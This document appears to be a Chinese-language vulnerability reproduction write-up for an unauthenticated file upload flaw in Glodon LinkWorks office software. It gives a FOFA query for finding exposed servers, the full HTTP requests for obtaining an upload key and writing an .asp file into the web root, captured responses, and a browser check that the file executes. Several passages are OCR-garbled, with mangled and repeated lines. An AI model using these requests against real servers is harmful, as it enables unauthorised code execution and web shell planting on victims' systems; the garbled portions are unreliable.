G3-7广联达-Linkworks协同办公管理平台-文件上传

漏洞描述:

由于广联达 LinkWorks /Services/FileService/UserFiles/GetAuthorizeKey.aslnx接口处设置不当,未经身份认证的攻击者通过该漏洞上传恶意文件,可导致恶意代码执行、身份伪造、后门植入、敏感数 据泄露,服务器被控等问题。



网络测绘:

fofa语法:

 $body = "Services/Identification/login.ashx" \parallel beader = "Services/Identification/login.ashx" \parallel banner = "Services/Identification/login.ashx" =$

漏洞复现:

创建文件并获取上传授权码

cmd=&destDir=./sysinfo/&destFilename=1.asp

payload:

```
POST /Services/FileService/UserFiles/GetAuthorizeKey.ashx HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 Accept: text/html, application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/x-www-form-urlencoded
```

效果图·

```
Responses 83bytes / 45ms
Request
     1
                        POST /Services/FileService/UserFiles/GetAuthorizeKey.ashx HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                           HTTP/1.1-200-0K
                                                                                                                                                                                                                                                                                                                                                                                                                                           Cache-Control: private, no-store
                        {\tt Upgrade-In} \textbf{secure-Requests: } \cdot \textbf{1}
                                                                                                                                                                                                                                                                                                                                                                                                                                           Content-Type: text/html; charset=utf-8
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
                                                                                                                                                                                                                                                                                                                                                                                                                                          Vary: Accept-Encoding
                        120.0.0.0 Safari/537.36 Edg/120.0.0.0
                                                                                                                                                                                                                                                                                                                                                                                                                                           Server: Microsoft-IIS/7.5
                              \textbf{Accept:} \\ \texttt{text/html,application/xhtml+xml,application/xml;} \\ q=0.9, \\ \texttt{image/webp,image/apng,*/*;} \\ q=0.8, \\ \texttt{image/apng,*/*;} \\ q=0.8,
                                                                                                                                                                                                                                                                                                                                                                                                                                           X-AspNet-Version: 4.0.30319
                                                                                                                                                                                                                                                                                                                                                                                                                                           X-Powered-By: ASP.NET
                        application/signed-exchange;v=b3;q=0.7
                        Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                                                                                                                                                                                           Date: Mon, 08 Jan 2024 12:20:40 GMT
                        Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
                                                                                                                                                                                                                                                                                                                                                                                                                                           Connection: close
                        Connection: close
                                                                                                                                                                                                                                                                                                                                                                                                                     10
                                                                                                                                                                                                                                                                                                                                                                                                                                          Content-Length: 83
                        Content-Type: application/x-www-form-urlencoded
   10
                                                                                                                                                                                                                                                                                                                                                                                                                     12
                                                                                                                                                                                                                                                                                                                                                                                                                                           {success:true,error:"",fileExists:false,k
                       cmd=&destDir=./sysinfo/&destFilename=1.asp
   11
```

携带授权码写入文件内容

```
POST /Services/FileService/UserFiles/UserFilesUpload.ashx HTTP/1.1
FOST /Services/FileService/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices/Userrices
-----WebKitFormBoundarytCOFhbEjc3IfYaY5
Content-Disposition: form-data; name="ke
    获取到的上传授权码
```

AAABIBLE TEXTAR -----WebKitFormBoundarytCOFhbEjc3IfYaY5 Content-Disposition: form-data; name="destDir"

-----WebKitFormBoundarytCOFhbEjc3IfYaY5 Content-Disposition: form-data; name="de

"destFilename"

```
1.asp
-----WbbKitFormBoundarytCOFhbEjc3IfYaY5
Content-Disposition: form-data; name="file";filename="l.asp"
content-type:image/png
<% Response.Write("Hello, World") %>
-----WebKitFormBoundarytCOFhbEjc3IfYaY5--
                                                                                                                                                           〈 〉 数据包扫描 热加载 构造请求 53 Responses 118bytes / 45ms
   Request
  1 POST /Services/FileService/UserFiles/UserFilesUpload.ashx HTTP/1.1
                                                                                                                                                                                                                                                              1 HTTP/1.1-200-OK
                 Host: 1 8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
                                                                                                                                                                                                                                                                                 {\sf Cache\text{-}Control:\cdot private, \cdot no\text{-}store}
                                                                                                                                                                                                                                                                                 Content-Type: text/html; charset=utf-8
                   120.0.0.0 Safari/537.36 Edg/120.0.0.0
                                                                                                                                                                                                                                                                                Vary: Accept-Encoding
                                                                                                                                                                                                                                                                               Server: Microsoft-IIS/7.5
                  \label{eq:accept:text/html,application/xhtml+xml,application/xml; q=0.9, image/webp, image/appg, */*; q=0.8, application/xml; q=0.9, app
                                                                                                                                                                                                                                                                               X-AspNet-Version: 4.0.30319
                   application/signed-exchange;v=b3;q=0.7
                   Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                                 X-Powered-By: ASP.NET
                  Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
                                                                                                                                                                                                                                                                               Date: Mon, 08 Jan 2024 12:22:54 GMT
                   Connection: close
                                                                                                                                                                                                                                                                               Connection: close
                 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytCOFhbEjc3IfYaY5
                                                                                                                                                                                                                                                                   10 Content-Length: 118
                                                                                                                                                                                                                                                                    11
                                                                                                                                                                                                                                                                                上传成功<mark>,</mark>已存储为<mark>:</mark>D:\Program Files (x86)
      10
                  -----WebKitFormBoundarvtCOFhbEjc3IfYaY5
                Content-Disposition: form-data; name="key"
                                                                                                                                                                                                                                                                                  \Glodon\GTP\data\gtp-default\FileStorage\U
      12
                fb28f842-62c6-4c8a-8df1-34f3ec0e8dcc
      13
                      -----WebKitFormBoundarytCOFhbEjc3IfYaY5
      15
                Content-Disposition: form-data; name="destDir"
      16
                            ---WebKitFormBoundarytCOFhbEjc3IfYaY5
      18
                 Content-Disposition: form-data; name="destFilename"
     19
                1.asp ------WebKitFormBoundarytCOFhbEjc3IfYaY5
     21
     22
                Content-Disposition: form-data; name="file"; filename="1.asp"
 回显了上传路径
 验证
     ← → C ▲ 不安全 3:8888/UserFiles/sysinfo/1.asp
```

Hello, World